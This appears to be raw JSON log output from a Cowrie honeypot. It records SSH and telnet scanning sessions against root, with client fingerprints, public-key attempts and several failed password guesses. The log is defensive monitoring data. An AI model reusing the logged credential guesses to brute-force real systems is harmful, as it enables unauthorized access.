{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:28.752540Z","src_ip":"41.242.115.83","session":"b110c81a38b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWE123qwe","message":"login attempt [root/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:29.588604Z","src_ip":"41.242.115.83","session":"b110c81a38b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:30.794044Z","src_ip":"41.242.115.83","session":"b110c81a38b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33814,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da41641454a","protocol":"telnet","message":"New connection: 192.119.13.58:33814 (10.17.0.5:23) [session: 6da41641454a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:31.825366Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.114","src_port":45214,"dst_ip":"10.17.0.5","dst_port":22,"session":"53f11abd51da","protocol":"ssh","message":"New connection: 148.113.221.114:45214 (10.17.0.5:22) [session: 53f11abd51da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.018826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.023837Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.045115Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:66:43:73:6a:4b:57:8a:0b:0d:7b:16:8d:8b:50:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUpYkMk6gDeeZz21lpuJFK/G4jtq+M06TVbK2QI2nYk2hQHg+SrMoMBaqH43/Q8o1FgyKAhnRsuMr+9ybBWBjXxZfOeJaf/MH9gzvu1ivFrkN/l9PAp8CeeJJYeAPe0wB5Dp0griaVq9siVM1D34OUcXzrDeUuj6G8cgjV9eDy6k3Eb2lPMi+iqC7L3Mw0G1XXcA3kk5hc4C81HnQ/iESudSfU3r12yZkjB4bzEYM10OxXqy7DWiu2JAA0OLsm4QYZj5hcfYQu/o9D9i/8CCugL4yQ5f+i+pkGfv6EO/tES4rIbljKhnZuh2Q1V884j2i5yZEovB0wHdzC35UlhgND","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:66:43:73:6a:4b:57:8a:0b:0d:7b:16:8d:8b:50:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.115473Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:66:43:73:6a:4b:57:8a:0b:0d:7b:16:8d:8b:50:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUpYkMk6gDeeZz21lpuJFK/G4jtq+M06TVbK2QI2nYk2hQHg+SrMoMBaqH43/Q8o1FgyKAhnRsuMr+9ybBWBjXxZfOeJaf/MH9gzvu1ivFrkN/l9PAp8CeeJJYeAPe0wB5Dp0griaVq9siVM1D34OUcXzrDeUuj6G8cgjV9eDy6k3Eb2lPMi+iqC7L3Mw0G1XXcA3kk5hc4C81HnQ/iESudSfU3r12yZkjB4bzEYM10OxXqy7DWiu2JAA0OLsm4QYZj5hcfYQu/o9D9i/8CCugL4yQ5f+i+pkGfv6EO/tES4rIbljKhnZuh2Q1V884j2i5yZEovB0wHdzC35UlhgND","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.119232Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:f0:18:70:91:29:40:19:1c:79:38:61:07:bd:5e:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3dYYjU/51qhBAWP6QuAS35TB5Y5CPB26BF54zxKZ+jEZ8TR/1fqMTV5NJQqiIizZQ6UcH6TxKM+mwu10g9D3fy0CYqYkksuAEdgVG27ASGF/ZikPTKUKC7leN+cZARAkfqeDBXAgogdU/fCRnDPD5Y71w0bwAFAgWh4JJxLRIFH/U4YN+GF2dTF3x8hIAkZxqJKZYxhdGc28aeG5rr/MHDQ6R0rG2J6li8QyAyAyuZ+3joZWjuB6WD11LG488LzkuWaxBSXZK8EZRbC2jaIJEcDwrKjl7tN3uq3b/qXelAa0YqU1yy3rvsgwoXJa5x6nbvMTlnynfRtv46JBgOscj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:f0:18:70:91:29:40:19:1c:79:38:61:07:bd:5e:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.138466Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:f0:18:70:91:29:40:19:1c:79:38:61:07:bd:5e:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3dYYjU/51qhBAWP6QuAS35TB5Y5CPB26BF54zxKZ+jEZ8TR/1fqMTV5NJQqiIizZQ6UcH6TxKM+mwu10g9D3fy0CYqYkksuAEdgVG27ASGF/ZikPTKUKC7leN+cZARAkfqeDBXAgogdU/fCRnDPD5Y71w0bwAFAgWh4JJxLRIFH/U4YN+GF2dTF3x8hIAkZxqJKZYxhdGc28aeG5rr/MHDQ6R0rG2J6li8QyAyAyuZ+3joZWjuB6WD11LG488LzkuWaxBSXZK8EZRbC2jaIJEcDwrKjl7tN3uq3b/qXelAa0YqU1yy3rvsgwoXJa5x6nbvMTlnynfRtv46JBgOscj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.142715Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:f3:48:63:13:bb:8a:18:f6:15:c7:7c:75:9d:4a:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi7wYgEEfGAbjy87+Sf+TK1/wwSLt47r1Dx57C2g3ojsikAKg2585Cs1KGjOjQdKTxKhT3oTqkcs+UfYvbmFg6W7ti5XQPpiguWCDFJoqUodCZ/w8FTkukaIiC2r+rB6orZndSkaiGjgdkFNvcjJ2omxv/hdEs1/2lDHlGT4W64VUv9ARYYVs9wd1TRbecO4vj1E7kRdlLl4g0sofpN1ghM7zSPNvgv6BDL/Ai02iz4jl+FTWveSO+/FRd+TLj7b+8XMzw7lUoazz5a4CzD0SEi6zLZLWcLqvtnt0dpHhwFT3KVInK7f6BUA11rpNSNyDBYXW4SKhXMgta2KvVOX0R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:f3:48:63:13:bb:8a:18:f6:15:c7:7c:75:9d:4a:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.162484Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:f3:48:63:13:bb:8a:18:f6:15:c7:7c:75:9d:4a:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi7wYgEEfGAbjy87+Sf+TK1/wwSLt47r1Dx57C2g3ojsikAKg2585Cs1KGjOjQdKTxKhT3oTqkcs+UfYvbmFg6W7ti5XQPpiguWCDFJoqUodCZ/w8FTkukaIiC2r+rB6orZndSkaiGjgdkFNvcjJ2omxv/hdEs1/2lDHlGT4W64VUv9ARYYVs9wd1TRbecO4vj1E7kRdlLl4g0sofpN1ghM7zSPNvgv6BDL/Ai02iz4jl+FTWveSO+/FRd+TLj7b+8XMzw7lUoazz5a4CzD0SEi6zLZLWcLqvtnt0dpHhwFT3KVInK7f6BUA11rpNSNyDBYXW4SKhXMgta2KvVOX0R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.166283Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:71:0c:27:8c:fc:de:18:ad:78:38:56:bd:c0:44:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9g05VP9awFfZuEK12a1YhgJi7S3KEqIhPZnQo9+unL2JKsQE5ETUmq3/WOWui9QylTxVQYuPn0IPNG9oelmNQjX9XYD2lk/QFz+A8Y6P4pXk6Arw4RcWWjDk22ykQsOT7DQrH5+9jDms+mcT4ViKwTMMD6xaVoOgZx9zjlTlbAW3Vs+eEd5alC2hXxa0K+kfOc7IHhyxfc/NPAA3q1xhZL081HdCEsDP341n5lvessVdWUgY674OFqbrrRyetxgdgrHQXnK/9jDIhnXfapm89d5tN8Z3o66rdbRmHu34lln+gTCtbxECpmox4S37eGkvpXrAi0rtNmHcMVG44a0k08GrdzMPES4b2Oll7GKuPXxvTTh8FDNBqskV2mmEPnpOmXJqtche2g0t4+QWhYM32w7G+AuLsSHKhLh6Hw+i6AVsGOHX8K1owGBjaa0PR5qPZnnPknC1QKIFkAF3+QOvW4A7SMVRQX/LQUXElH2mxR9w0aglJq/S8OOfcxLPO2kU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:71:0c:27:8c:fc:de:18:ad:78:38:56:bd:c0:44:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.187141Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:71:0c:27:8c:fc:de:18:ad:78:38:56:bd:c0:44:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9g05VP9awFfZuEK12a1YhgJi7S3KEqIhPZnQo9+unL2JKsQE5ETUmq3/WOWui9QylTxVQYuPn0IPNG9oelmNQjX9XYD2lk/QFz+A8Y6P4pXk6Arw4RcWWjDk22ykQsOT7DQrH5+9jDms+mcT4ViKwTMMD6xaVoOgZx9zjlTlbAW3Vs+eEd5alC2hXxa0K+kfOc7IHhyxfc/NPAA3q1xhZL081HdCEsDP341n5lvessVdWUgY674OFqbrrRyetxgdgrHQXnK/9jDIhnXfapm89d5tN8Z3o66rdbRmHu34lln+gTCtbxECpmox4S37eGkvpXrAi0rtNmHcMVG44a0k08GrdzMPES4b2Oll7GKuPXxvTTh8FDNBqskV2mmEPnpOmXJqtche2g0t4+QWhYM32w7G+AuLsSHKhLh6Hw+i6AVsGOHX8K1owGBjaa0PR5qPZnnPknC1QKIFkAF3+QOvW4A7SMVRQX/LQUXElH2mxR9w0aglJq/S8OOfcxLPO2kU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.190718Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:8f:70:c7:4a:fd:be:0c:21:4f:4b:de:ba:da:e5:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYSCgIDA+SOER2xBvj5fiTgf1ZDLDAOdUIZjLGTWywGGvUtAH6wyB2X/V2fwERjFNo3P8/KhIagl/Jwa3I3hjJn+orwQ97VVgEe+YhrzMF4Iq69d/FNsXbm0G5miLgWJ5unpFzOcFjVH0ll+AwTYlqtQmVziLuIAVoHNlZ0ZVuaeMmu5AZNhfWiGoIs/rWzwyqY3gjYNdBUEmGEZMEfDnG7s9NzBRmThNXsrmMQ+u7r/ykykAHMF4/AXQEGUoSf5sbbkI0A3wzjsPqgvKEOeB6ZQtaECkO5L51UirJIIECC/+8auAa3E3LR0EVM5YhswBcEwfqMh+qwkvKtVkxlLDP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:8f:70:c7:4a:fd:be:0c:21:4f:4b:de:ba:da:e5:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.210554Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:8f:70:c7:4a:fd:be:0c:21:4f:4b:de:ba:da:e5:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYSCgIDA+SOER2xBvj5fiTgf1ZDLDAOdUIZjLGTWywGGvUtAH6wyB2X/V2fwERjFNo3P8/KhIagl/Jwa3I3hjJn+orwQ97VVgEe+YhrzMF4Iq69d/FNsXbm0G5miLgWJ5unpFzOcFjVH0ll+AwTYlqtQmVziLuIAVoHNlZ0ZVuaeMmu5AZNhfWiGoIs/rWzwyqY3gjYNdBUEmGEZMEfDnG7s9NzBRmThNXsrmMQ+u7r/ykykAHMF4/AXQEGUoSf5sbbkI0A3wzjsPqgvKEOeB6ZQtaECkO5L51UirJIIECC/+8auAa3E3LR0EVM5YhswBcEwfqMh+qwkvKtVkxlLDP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.214106Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.235096Z","src_ip":"148.113.221.114","session":"53f11abd51da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":58478,"dst_ip":"159.203.135.109","dst_port":22,"session":"301a46ec6dcf","protocol":"ssh","message":"New connection: 103.173.227.57:58478 (159.203.135.109:22) [session: 301a46ec6dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.986662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:33.991791Z","src_ip":"103.173.227.57","session":"301a46ec6dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.48177456855774,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:34.126056Z","src_ip":"192.119.13.58","session":"caa62604c401","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:34.229094Z","src_ip":"103.173.227.57","session":"301a46ec6dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:34.941615Z","src_ip":"103.173.227.57","session":"301a46ec6dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:36.182449Z","src_ip":"103.173.227.57","session":"301a46ec6dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60822,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccfd4f7a4bce","protocol":"telnet","message":"New connection: 192.119.13.58:60822 (10.17.0.5:23) [session: ccfd4f7a4bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:40.017693Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4af18da5374","protocol":"telnet","message":"New connection: 192.119.13.58:34596 (10.17.0.5:23) [session: e4af18da5374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:41.683775Z"}
{"eventid":"cowrie.session.closed","duration":33.32438349723816,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:42.384136Z","src_ip":"192.119.13.58","session":"ccc5c841ee8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41268,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc1e988bd3ae","protocol":"telnet","message":"New connection: 192.119.13.58:41268 (10.17.0.5:23) [session: cc1e988bd3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:42.775990Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49034,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a48e1a8b2f","protocol":"telnet","message":"New connection: 192.119.13.58:49034 (10.17.0.5:23) [session: 26a48e1a8b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:45.062330Z"}
{"eventid":"cowrie.session.closed","duration":40.03936529159546,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:48.312521Z","src_ip":"192.119.13.58","session":"db0fb6a42735","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.460217475891113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:53.038634Z","src_ip":"192.119.13.58","session":"5d377a220a51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2340,"dst_ip":"159.203.135.109","dst_port":22,"session":"559d5638102a","protocol":"ssh","message":"New connection: 181.0.214.136:2340 (159.203.135.109:22) [session: 559d5638102a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:55.662718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:55.668341Z","src_ip":"181.0.214.136","session":"559d5638102a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:55.832698Z","src_ip":"181.0.214.136","session":"559d5638102a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:56.511733Z","src_ip":"181.0.214.136","session":"559d5638102a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:57.679658Z","src_ip":"181.0.214.136","session":"559d5638102a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.63413858413696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:58.936283Z","src_ip":"192.119.13.58","session":"0070d779db08","protocol":"telnet"}
